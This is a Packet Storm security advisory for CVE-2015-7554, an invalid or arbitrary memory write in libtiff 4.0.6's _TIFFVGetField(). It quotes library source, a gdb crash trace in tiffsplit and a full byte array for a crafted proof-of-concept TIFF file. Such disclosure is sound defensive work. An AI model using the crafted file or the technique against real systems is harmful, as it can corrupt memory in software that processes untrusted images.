what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

libtiff 4.0.6 Invalid Write

libtiff 4.0.6 Invalid Write
Posted Dec 27, 2015
Authored by Hans Jerry Illikainen

_TIFFVGetField() in libtiff version 4.0.6 may write field data for certain extension tags to invalid or possibly arbitrary memory locations.

tags | advisory, arbitrary
advisories | CVE-2015-7554
SHA-256 | 1e6ba94ed422d819e50f84dc63c80b976bb75c2ad64a24ec1ea61f3243511591

libtiff 4.0.6 Invalid Write

Change Mirror Download

`_TIFFVGetField()' in libtiff-4.0.6 may write field data for certain
extension tags to invalid or possibly arbitrary memory.

Each tag has a `field_passcount' variable in their TIFFField struct:

tiff-4.0.6/libtiff/tif_dir.h #276..289:
,----
| struct _TIFFField {
| uint32 field_tag; /* field's tag */
| short field_readcount; /* read count/TIFF_VARIABLE/TIFF_SPP */
| short field_writecount; /* write count/TIFF_VARIABLE */
| TIFFDataType field_type; /* type of associated data */
| uint32 reserved; /* reserved for future extension */
| TIFFSetGetFieldType set_field_type; /* type to be passed to TIFFSetField */
| TIFFSetGetFieldType get_field_type; /* type to be passed to TIFFGetField */
| unsigned short field_bit; /* bit in fieldsset bit vector */
| unsigned char field_oktochange; /* if true, can change while writing */
| unsigned char field_passcount; /* if true, pass dir count on set */
| char* field_name; /* ASCII name */
| TIFFFieldArray* field_subfields; /* if field points to child ifds, child ifd field definition array */
| };
`----

For example:

tiff-4.0.6/libtiff/tif_fax3.c #1139..1141:
,----
| static const TIFFField fax3Fields[] = {
| { TIFFTAG_GROUP3OPTIONS, 1, 1, TIFF_LONG, 0, TIFF_SETGET_UINT32, TIFF_SETGET_UINT32, FIELD_OPTIONS, FALSE, FALSE, "Group3Options", NULL },
| };
`----

However, `field_passcount' is always assigned TRUE if the tag is
processed by `_TIFFCreateAnonField()'. This happens on unsuccessful
invocations of `TIFFReadDirectoryFindFieldInfo()':

tiff-4.0.6/libtiff/tif_dirread.c #3396..4076:
,----
| int
| TIFFReadDirectory(TIFF* tif)
| {
| [...]
| TIFFReadDirectoryFindFieldInfo(tif,dp->tdir_tag,&fii);
| if (fii == FAILED_FII)
| {
| TIFFWarningExt(tif->tif_clientdata, module,
| "Unknown field with tag %d (0x%x) encountered",
| dp->tdir_tag,dp->tdir_tag);
| /* the following knowingly leaks the
| anonymous field structure */
| if (!_TIFFMergeFields(tif,
| _TIFFCreateAnonField(tif,
| dp->tdir_tag,
| (TIFFDataType) dp->tdir_type),
| 1)) {
| [...]
| }
`----

tiff-4.0.6/libtiff/tif_dirinfo.c #627..719:
,----
| TIFFField*
| _TIFFCreateAnonField(TIFF *tif, uint32 tag, TIFFDataType field_type)
| {
| [...]
| fld->field_bit = FIELD_CUSTOM;
| [...]
| fld->field_passcount = TRUE;
| [...]
| }
`----

If the field for a 1-count extension tag whose `field_passcount' has
been overridden is later read by `_TIFFVGetField()', this happens:

tiff-4.0.6/libtiff/tif_dir.c #823..1145:
,----
| static int
| _TIFFVGetField(TIFF* tif, uint32 tag, va_list ap)
| {
| [...]
| uint32 standard_tag = tag;
| [...]
| if (fip->field_bit == FIELD_CUSTOM) {
| standard_tag = 0;
| }
|
| switch (standard_tag) {
| [...]
| default:
| {
| [...]
| for (i = 0; i < td->td_customValueCount; i++) {
| [...]
| if (fip->field_passcount) {
| if (fip->field_readcount == TIFF_VARIABLE2)
| *va_arg(ap, uint32*) = (uint32)tv->count;
| else /* Assume TIFF_VARIABLE */
| *va_arg(ap, uint16*) = (uint16)tv->count;
| *va_arg(ap, void **) = tv->value;
| ret_val = 1;
| }
| [...]
| }
| }
| }
| [...]
| }
`----


With an invocation of `TIFFGetField()' such as:

,----
| TIFFGetField(tif, TIFFTAG_GROUP3OPTIONS, &dst);
`----

for a TIFFTAG_GROUP3OPTIONS specified as:

,----
| 0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41
| ^^^^^^^^^^ ^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^
| tag type count offset/value
`----

the count is written to `dst', whereas 0x41414141 is written to
invalid/arbitrary memory.


Using the included tiffsplit utility as an example:

tiff-4.0.6/tools/tiffsplit.c #157..228:
,----
| static int
| tiffcp(TIFF* in, TIFF* out)
| {
| [...]
| CopyField(TIFFTAG_YRESOLUTION, floatv);
| CopyField(TIFFTAG_GROUP3OPTIONS, longv);
| [...]
| }
`----

,----
| $ gdb -q --args tiffsplit tag.tiff
| Reading symbols from tiffsplit...done.
| (gdb) r
| TIFFReadDirectory: Warning, Unknown field with tag 292 (0x124) encountered.
|
| Program received signal SIGSEGV, Segmentation fault.
| 0xb7f68155 in _TIFFVGetField (tif=0x804d008, tag=292, ap=0xbffff660 "\024\367\377\277\210\366\377\277\200\366\377\277\067\206\004\b0\371\377\267") at tif_dir.c:1056
| 1056 *va_arg(ap, void **) = tv->value;
| (gdb) x/i $eip
| => 0xb7f68155 <_TIFFVGetField+2229 at tif_dir.c:1056>: mov %edx,(%eax)
| (gdb) x/x $edx
| 0x804d670: 0x41414141
| (gdb) x/x $eax
| 0x41410000: Cannot access memory at address 0x41410000
| (gdb)
`----


tag.tiff:
,----
| unsigned char tiff[] = {
| /* little-endian */
| 0x49, 0x49,
|
| /* version */
| 0x2a, 0x00,
|
| /* tif->tif_diroff */
| 0x09, 0x00, 0x00, 0x00,
| 0x00,
|
| /* tag count */
| 0x07, 0x00,
|
| /* tag | type | count | offset/value */
| /* TIFFTAG_IMAGEWIDTH */
| 0x00, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
| /* TIFFTAG_IMAGELENGTH */
| 0x01, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
| /* TIFFTAG_BITSPERSAMPLE */
| 0x02, 0x01, 0x03, 0x00, 0x03, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00,
| /* TIFFTAG_STRIPOFFSETS */
| 0x11, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
| /* TIFFTAG_STRIPBYTECOUNTS */
| 0x17, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
| /* TIFFTAG_YRESOLUTION */
| 0x1b, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x00,
| /* TIFFTAG_GROUP3OPTIONS */
| 0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41,
|
| /* tif->tif_nextdiroff */
| 0x00, 0x00, 0x00, 0x00,
|
| /* bits per sample */
| 0x08, 0x00,
| 0x08, 0x00,
| 0x08, 0x00,
| };
`----


This issue has been assigned CVE-2015-7554 and it has yet to be fixed.

--
Hans Jerry Illikainen
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close